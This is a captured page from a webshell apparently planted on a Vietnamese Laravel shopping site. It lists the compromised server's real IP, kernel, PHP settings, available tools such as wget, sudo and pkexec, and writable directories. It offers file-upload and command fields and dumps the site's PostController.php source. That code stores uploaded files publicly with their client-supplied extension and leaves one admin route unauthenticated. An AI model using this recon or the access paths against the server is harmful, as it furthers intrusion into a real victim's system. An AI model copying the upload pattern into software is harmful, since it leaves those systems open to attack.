403Webshell
Server IP : 103.161.17.216  /  Your IP : 216.73.216.1
Web Server : nginx/1.18.0
System : Linux tipsysaigoncharming 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/chongthamdls.vn/app/Http/Controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/chongthamdls.vn/app/Http/Controllers/PostController.php
<?php

namespace App\Http\Controllers;

use Illuminate\Http\Request;
use DB;
use Auth;
use Session;
use App\Models\Slider;
use App\Models\Attr;
use App\Http\Requests;
use Illuminate\Support\Facades\Redirect;
use App\Models\Post;
use App\Models\Category;
use App\Models\Cate;
use App\Models\CatePost;
use App\Models\CatePost2;
use App\Models\Contact;
session_start();
class PostController extends Controller
{
    public function AuthLogin() {
        $admin_id=session::get('admin_id');
        if($admin_id){
            return Redirect::to('dashboard');
        }
        else{
        return Redirect::to('admin')->send();
        }
    }
    public function add_post(){
        $this->AuthLogin();
        $categorypost = CatePost2::orderBy('categorypost_id')->get();

        return view('admin.post.add_post')->with(compact('categorypost'));
    	

    }
    public function save_post(Request $request){
        $this->AuthLogin();
    	$data = $request->all();
    	$post = new Post();

    	$post->post_title = $data['post_title'];
    	$post->post_slug = $data['post_slug'];
    	$post->post_desc = $data['post_desc'];
    	$post->post_content = $data['post_content'];
    	$post->post_meta_desc = $data['post_meta_desc'];
    	$post->post_meta_keywords = $data['post_meta_keywords'];
        $post->categorypost_id = $data['categorypost_id'];
    	$post->post_status = $data['post_status'];
        $post->timestamps=true;

        $get_image = $request->file('post_image');
      
        if($get_image){
            $get_name_image = $get_image->getClientOriginalName(); //lay ten của hình ảnh
            $name_image = current(explode('.',$get_name_image));

            $new_image =  $name_image.rand(0,99).'.'.$get_image->getClientOriginalExtension();

            $get_image->move('public/uploads/post',$new_image);

            $post->post_image = $new_image;

           	$post->save();
            
        $all_post = Post::with('categorypost')->orderBy('categorypost_id')->get();
       
        //echo $cate_id;
        $categorypost = CatePost2::orderBy('categorypost_id','DESC')->get();
       Session::put('message','Thêm bài viết thành công');
        //return redirect()->back();

        return view('admin.post.list_post')->with(compact('all_post','categorypost'));
            //return redirect()->back();
        }else{
        	Session::put('message','Làm ơn thêm hình ảnh');
            return view('admin.post.list_post')->with(compact('all_post','categorypost'));
        }

       
    }
    public function all_post(Request $request){
        $this->AuthLogin();
        if(isset($_GET['cate_id'])){
        $cate1_id=$_GET['cate_id'];
        $all_post = Post::with('categorypost')->where('categorypost_id',$cate1_id)->orderBy('post_id')->paginate(5);
        
        }else {
            $all_post = Post::with('categorypost')->orderBy('categorypost_id')->get();

        }
       
        //echo $cate_id;
        $categorypost = CatePost2::orderBy('categorypost_id','DESC')->get();
    	//$all_post = Post::with('categorypost')->orderBy('categorypost_id')->get();
      
    	return view('admin.post.list_post')->with(compact('all_post','categorypost'));

    }





    public function delete_post($post_id){
        $this->AuthLogin();
        $post = Post::find($post_id);
        $post_image = $post->post_image;

        if($post_image){
        	$path ='public/uploads/post/'.$post_image;
        	unlink($path);
        }
        $post->delete();
        
       
        Session::put('message','Xóa bài viết thành công');
        return redirect()->back();
    }
    
   	public function edit_post($post_id){
   		$categorypost = CatePost2::orderBy('categorypost_id')->get();
        $cate=CatePost::orderBy('cate_post_id')->get();
   		$post = Post::find($post_id);
   		return view('admin.post.edit_post')->with(compact('post','categorypost','cate'));
   	}
   	public function update_post(Request $request,$post_id){
   		$this->AuthLogin();
    	$data = $request->all();
    	$post = Post::find($post_id);

    	$post->post_title = $data['post_title'];
    	$post->post_slug = $data['post_slug'];
    	$post->post_desc = $data['post_desc'];
    	$post->post_content = $data['post_content'];
    	$post->post_meta_desc = $data['post_meta_desc'];
    	$post->post_meta_keywords = $data['post_meta_keywords'];
    	$post->categorypost_id = $data['categorypost_id'];
    	$post->post_status = $data['post_status'];

        $get_image = $request->file('post_image');
      
        if($get_image){
        	//xoa anh cu
        	$post_image_old = $post->post_image;
        	$path ='public/uploads/post/'.$post_image_old;
        	unlink($path);
        	//cap nhat anh moi
            $get_name_image = $get_image->getClientOriginalName(); //lay ten của hình ảnh
            $name_image = current(explode('.',$get_name_image));
            $new_image =  $name_image.rand(0,99).'.'.$get_image->getClientOriginalExtension();
            $get_image->move('public/uploads/post',$new_image);
            $post->post_image = $new_image; 
        }

        $post->save();

         $all_post = Post::with('categorypost')->orderBy('categorypost_id')->get();
       
        //echo $cate_id;
        $categorypost = CatePost2::orderBy('categorypost_id','DESC')->get();
        Session::put('message','Cập nhật bài viết thành công');
        //return redirect()->back();

        return view('admin.post.list_post')->with(compact('all_post','categorypost'));
        //return view('admin.post.list_post')
   	}
    public function danh_muc_bai_viet(Request $request,$post_slug){
        //category post
        $cate_post = CatePost2::orderBy('categorypost_id','DESC')->get();
        $categorypost = CatePost2::orderBy('categorypost_id','DESC')->get();
        //slide
        $slide =Slider::orderby('slider_id','desc')->get();

        $cate=Cate::orderby('cate_id','ASC')->get(); 
        $cate_product=Category::where('category_status','1')->orderby('category_id','desc')->with('cate')->get();        
        $brand_product = DB::table('tbl_brand')->where('brand_status','0')->orderby('brand_id','desc')->get(); 
        $all_product=DB::table('tbl_product')->where('product_status','1')->orderby('product_id','desc')->get();
         $all_attr =Attr::orderby('attr_id','asc')->with('product')->get(); 

        $catepost = CatePost2::where('categorypost_slug',$post_slug)->take(1)->get();
        
        foreach($catepost as $key => $cate){
            //seo 
            $meta_desc = $cate->categorypost_desc; 
            $meta_keywords = $cate->categorypost_slug;
            $meta_title = $cate->categorypost_name;
            $cate_id = $cate->categorypost_id;
            $url_canonical = $request->url();
            $share_image = url('public/frontend/images/share_news.png');
            //--seo
        }
        $all= Post::with('categorypost')->where('post_status',0)->get();
        $post_cate = Post::with('categorypost')->where('post_status',0)->where('categorypost_id',$cate_id)->paginate(5);
        $category_name = CatePost2::where('categorypost_slug',$post_slug)->limit(1)->get();
         $contact = Contact::where('info_id',1)->get();
         $all_post=Post::orderby('post_id','desc')->get();
      
        // return view('pages.baiviet.danhmucbaiviet')->with('category',$cate_product)->with('brand',$brand_product)->with('meta_desc',$meta_desc)->with('meta_keywords',$meta_keywords)->with('meta_title',$meta_title)->with('url_canonical',$url_canonical)->with('slider',$slider)->with('post_cate',$post_cate)->with('category_post',$category_post)->with('share_image',$share_image)->with('cate',$cate);

        return view('pages.baiviet.danhmucbaiviet')->with(compact('cate_product','brand_product','meta_keywords','meta_desc','meta_title','url_canonical','all_product','all_attr','cate','slide','categorypost','share_image','category_name','cate_post','contact','all_post','all','post_cate')); 



    }
    public function bai_viet(Request $request,$post_slug){

        //category post
        $categorypost = CatePost2::orderBy('categorypost_id','DESC')->get();
         $all_post=Post::orderby('post_id','desc')->get();
        $category_post = CatePost2::orderBy('categorypost_id','DESC')->get();
        //slide
        $slide =Slider::orderby('slider_id','desc')->get();

    $cate=Cate::orderby('cate_id','ASC')->get(); 
    $cate_product=Category::where('category_status','1')->orderby('category_id','desc')->with('cate')->get();
    $brand_product = DB::table('tbl_brand')->where('brand_status','0')->orderby('brand_id','desc')->get(); 
    $all_product=DB::table('tbl_product')->where('product_status','1')->orderby('product_id','desc')->get();
    $all_attr =Attr::orderby('attr_id','asc')->with('product')->get(); 
    $post_by_id = Post::with('categorypost')->where('post_status',0)->where('post_slug',$post_slug)->take(1)->get();
    $contact = Contact::where('info_id',1)->get();

        foreach($post_by_id as $key => $p){
            //seo 
            $meta_desc = $p->post_meta_desc; 
            $meta_keywords = $p->post_meta_keywords;
            $meta_title = $p->post_title;
            $cate_id = $p->categorypost_id;
            $url_canonical = $request->url();
            $categorypost_id = $p->categorypost_id;
            $post_id = $p->post_id;
            $share_image = url('public/uploads/post/'.$p->post_image);
            //--seo
        }
        //update views 
        $post = Post::where('post_id',$post_id)->first();
        $post->post_views = $post->post_views + 1;
        $post->save();
        
        //related post
        $related = Post::with('categorypost')->where('post_status',0)->where('categorypost_id',$categorypost_id)->whereNotIn('post_slug',[$post_slug])->take(5)->get();
       
        // return view('pages.baiviet.baiviet')->with('category',$cate_product)->with('brand',$brand_product)->with('meta_desc',$meta_desc)->with('meta_keywords',$meta_keywords)->with('meta_title',$meta_title)->with('url_canonical',$url_canonical)->with('slider',$slider)->with('post_by_id',$post_by_id)->with('category_post',$category_post)->with('related',$related)->with('share_image',$share_image);

        return view('pages.baiviet.baiviet')->with(compact('cate_product','brand_product','meta_keywords','meta_desc','meta_title','url_canonical','all_product','all_attr','cate','slide','category_post','post_by_id','share_image','related','categorypost','all_post','contact')); 
    }

    public function tat_ca_bai_viet(Request $request){
        //category post
        $category_post = CatePost2::orderBy('categorypost_id','DESC')->get();
        //slide
        $slide =Slider::orderby('slider_id','desc')->get();
        $all_post=Post::orderby('post_id','ASC')->paginate(12);
        $cate=Cate::orderby('cate_id','ASC')->get(); 
        $cate_product=Category::where('category_status','1')->orderby('category_id','desc')->with('cate')->get();        
        $brand_product = DB::table('tbl_brand')->where('brand_status','0')->orderby('brand_id','desc')->get(); 
        $all_product=DB::table('tbl_product')->where('product_status','1')->orderby('product_id','desc')->get();
         $all_attr =Attr::orderby('attr_id','asc')->with('product')->get(); 

        $meta_desc="bài viết mới";
    $meta_keywords="bài viết mới";
    $meta_title="bài viết mới ";
    $url_canonical= $request->url();
        
        
        
        // return view('pages.baiviet.danhmucbaiviet')->with('category',$cate_product)->with('brand',$brand_product)->with('meta_desc',$meta_desc)->with('meta_keywords',$meta_keywords)->with('meta_title',$meta_title)->with('url_canonical',$url_canonical)->with('slider',$slider)->with('post_cate',$post_cate)->with('category_post',$category_post)->with('share_image',$share_image)->with('cate',$cate);

        return view('pages.baiviet.all_post')->with(compact('cate_product','brand_product','meta_keywords','meta_desc','meta_title','url_canonical','all_product','all_attr','cate','slide','category_post','all_post')); 



    }


    
}

Youez - 2016 - github.com/yon3zu
LinuXploit